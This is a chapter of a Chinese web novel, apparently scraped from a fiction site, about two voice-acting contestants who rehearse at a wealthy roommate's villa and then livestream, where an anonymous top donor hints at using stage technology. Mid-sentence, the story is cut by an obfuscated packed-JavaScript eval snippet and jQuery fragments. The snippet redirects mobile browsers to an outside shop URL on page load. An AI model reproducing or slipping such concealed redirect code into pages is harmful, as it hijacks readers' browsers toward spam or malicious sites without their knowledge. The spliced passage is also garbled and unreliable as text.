她们穿过走廊,躲掉围在演播大楼的粉丝们,随便在路边打了个地,朝着东边一路飞驰而去。
易安彤瞅着室友那熟练的样子,一忍再忍,最后还是禁不住好奇心,问了起来,“咱这是要去哪啊?”
袁宛香拿着手机,噼里啪啦地跟节目组汇报着自己的打算,听到易安彤的问话,这才回神,压根不管手机那头在咆哮暴走的工作人员。
“去我家,有设备还安静,可比这个磕碜的练习室好多了。”
闻言,易安彤有些恍惚,隐约感觉她这个室友好像很有钱?
窗外的景色逐渐葱郁起来,行人越来越少。她虽然没怎么在琼宁待过,但生活经验告诉她,人烟稀少的地方无外乎两种情况,要么荒无人烟,要么富人聚居。
再结合前天买衣服时的阔气,易安彤有理由怀疑她这个室友是个小富婆。
这么一想,难怪大小姐嫌弃节目组的练习室呢,她要是有一个属于自己的录音室,她也看不上几个人挤在同一间练习室里。
出租车驶入林荫大道,平稳停在门口,袁宛香牵着易安彤下了车,随手打开家门,朝着录音室走去。
一切就跟易安彤所预想的那样,双层独栋小洋房,坐落在城市一隅,看一眼就知道这人不是小富婆,而是少见的大富婆啊。她轻手轻脚的跟在后面,生怕碰坏人家家里的东西。
袁宛香所说的录音室是由一间卧室改造来的,说大不大说小不小的。但架不住里面设备齐全,不仅做了隔音措施,就连墙面都加了吸音材料。
虽然和专业录音棚相比还是差了不少,但对于平时练习而言,有这样一间录音室的的确确算得上是奢侈了。
易安彤一想到自己那破破烂烂的小房间,羡慕之情瞬间迸发而出,再想想自己勤勤恳恳干了五年,还是没能攒出自己的录音室。
这时,她清晰的感受到了什么叫,人和人的差距不是一时半会能赶上的。
在袁宛香的盛情邀请之下,俩人钻进录音室对了一上午的戏。三个片段拢共不到十分钟,台词量也算不上多,没多久俩人就能顺利自然地接住对方的戏。
台词熟悉后,她们开始逐字逐句地扣着细节部分。录制、播放、再录制、再播放,一句话至少重复了五六遍才算过关。一个小时后,俩人齐齐瘫在外面的小沙发上,台词本被随意的放置在桌子上。
同一句话反复练习听起来枯燥乏味,但对于她们而言却是家常便饭,练累了就休息。
最开始时,易安彤在同一部影片中选出来三个片段。她本想着在这三个片段中任选其一作为展示赛的作品,可就在刚刚的练习中,她发现了一个问题。
单看这三个片段都是单一的情绪,乍一看有些平平无奇,很难吸引到观众。可若是将三个片段合在一起,确实做到了跌宕起伏,但长达十分钟的片子会不会让观众产生厌烦?而且,片段之间怎么衔接也是个问题。
舞台表演不同于录制,它对站在舞台上的人有着更为严苛的要求,就连一直追求完美的易安彤也不能百分百保证自己在表演时不出任何差错。更别提,她想将三个片段合在一起,这样一来,对个人能力的要求就更高了。
易安彤纠结来纠结去,最后还是向袁宛香求助了。对方在听完自己的想法后,也是陷入了深思。
无论是在作品内容上做点小设计,还是稳扎稳打的展现,核心都是她们该靠什么让自己留下来继续比赛?因为展示赛对于她们而言,就是一场定生死。
抉择是很难的,所以袁宛香只是粗略的思考了一下,果断选择把这件事滞后,并劝说道:“先不急,咱俩先把午饭吃了。这件事还是等下午的时候再合计合计。”
易安彤接过袁宛香递过来的手机,顺手点了碗面。仔细一琢磨这话,发现确实如此,选不出来就先放松放松嘛。
于是,俩人一边聊着八卦,一边等着外卖送达,暂时将比赛的事抛之脑后了。
叮铃铃......叮铃铃......
手机铃声骤然响起,吓得俩人一个激灵,从沙发上弹起来,手忙脚乱地翻找声音源头。
就在铃声停止的前一刻,易安彤捏着自己的手机,看都没看联系人,下意识就接起来了。
—袁宛香呢?!让她接电话!
电话里传出一声咆哮,粗犷的声音震耳欲聋,一听就知道电话那头的人正在气头上呢。
易安彤一脸懵逼,默默地瞥了眼联系人,居然是廖柏。她扭头看向袁宛香,悄声告诉对方是廖柏的电话。
而听到这声咆哮时,袁宛香就知道自己躲不过了。她只能接过电话,轻声说着好话,费了好一番口舌才挂掉电话。
“怎么了?我听着柏哥挺生气的。”易安彤见对方挂了电话,连忙询问。
“没事,就是节目组原本想着跟拍点素材,然后被我拒绝了。然后联系我商量解决方案呢,但我忘了自己手机静音了,他们没联系到还以为咱俩出事了呢。”袁宛香解释道,开始思考自己要不要把静音给关了呢。
易安彤点了点头,表示了解。这时才后知后觉地想起来,她俩这种行为在某种程度上叫做偷跑,怪不得节目组生气呢。
随后,她又想起来了什么,便问:“那柏哥有没有解决方案是什么?”
只见袁宛香晃了晃自己的手机,指着参赛选手们的群,说:“还能怎么办,直播呗,给自己拉票,给节目组加点热度。”
易安彤点开群聊,上面明晃晃发出来了18个账号密码,示意选手们在空闲时进行直播。事实上,直播这活对于别人来说是自愿的,但对于她和袁宛香来讲,却是不得不做。
作为偷跑的惩罚,俩人只能硬着头皮进行直播。俩人坐在客厅里,架起了手机,为图省事她们只开了一个直播间。
刚开没几分钟,直播间里就有几百号人在观看了。易安彤生疏的打着招呼,一时间很难去适应摄像头的存在。
但好在直播间里人数不多,没有坏心眼的人,大家看见她略带生涩的样子,也好心地教她该怎么做。
刚直播十分钟,观众就看到袁宛香灰溜溜地退出摄像头的范围,惹得大家好奇不已。最后在观众的攒动下,易安彤轻声问道:“宛香,大家问你怎么走了?”
“被逮住啦!他非要我待在自己直播间里,不满一个小时还不准我下播!”袁宛香边开直播边抱怨道。
弹幕上满是嘻嘻哈哈,跟风似的,一秒就刷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135680|150081||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
满屏了。其中,不乏有人在追问袁宛香口中的“他”具体是指谁。
易安彤不知道自己该不该回答,也不知道自己该怎么避开直播间里的观众去问袁宛香。
正当她纠结时,袁宛香扬声念起弹幕,顺利的把她们跑出来练习后被罚的事给说了,还在暗处给自己比了个ok的手势。
她俩同在客厅,彼此直播间里都能听到对方的声音。袁宛香解释完,双方直播间里只剩下观众们的幸灾乐祸了,就连双方直播间里的人气都涨了不少。
一闹两不闹的,易安彤也不那么紧张了。她放松心态,开始跟观众们唠起嗑来。
——姐姐是专业的还是爱好者?
“我大学专业就是这个,也算是因为爱好而学的吧。”
——姐姐考虑以后出剧配商业片吗?
“出剧可以考虑,但是我没钱出啊。至于商业片,现在还是AI来得快吧。”
——姐姐姐姐!我超级喜欢你!以后B站多更好嘛,星星眼.jpg
“谢谢喜欢,会勤更新的。”
——姐姐!我想知道你喜欢吃些什么?
“一些中式点心吧?我还挺喜欢桃酥的。”
看到这个问题,易安彤不由地皱了下眉,不明白问这个问题有什么意义。但出于礼貌,她还是回答了。
刚回答完这个问题,手机屏幕就被花式特效给刷屏了。一连好几个樱花雨,硬是把自己刷上了榜一。
这架势给易安彤吓得不轻,连忙问袁宛香这钱怎么算,在得知会正常分成后,又开始劝说直播间里的小粉丝们不要花钱。
那位砸了好几个礼物的榜一,始终一言不发,就潜在直播间里听易安彤唠嗑。
而易安彤则是越聊越放松,起初还疑惑这人怎么不说话,后来聊嗨了也就忘了这号人了。只是一朵粉色的云朵挂在榜上,提醒着每一个进入直播间的人。
——姐姐,展示赛的作品定好吗?我看隔壁那边的构想挺丰富的。
“目前还没,你说的隔壁具体是什么?”
易安彤不确定这些具体内容是否能提前播出来,她留了个心眼,试试能不能问出点什么。
果然,提问的那位三两句就说了其他选手在准备背景视频的事。其实这件事她也考虑过,但问题是她们只有两个人,即便有背景视频,舞台依旧是空荡的,无法改善观感。
正在她沉思时,弹幕里出现一条建议,让易安彤的眼前瞬间亮了起来。
那人说,可以大胆一点,用点科技手段。
这人的建议其实很隐晦,但易安彤瞬间就想到了投影和舞美。
她年轻时追星那会,就见过演唱会现场利用光效、投影和舞台移动完成了一系列的视觉效果,正好弥补了舞台上人数少,视觉空荡的问题。
因为这个建议,她下意识地看了眼这人的ID,结果正好是榜一那位。
易安彤没吭声,也没回应那句话,有点害怕这点小技巧被别人拿去用了。实际上,她心里却很是好奇榜一的身份。不知道为什么,她总觉得这人好像很了解自己,几个词就能让自己和他共频。
而那句话就像是刻意引导,指引着她朝着舞台效果创造。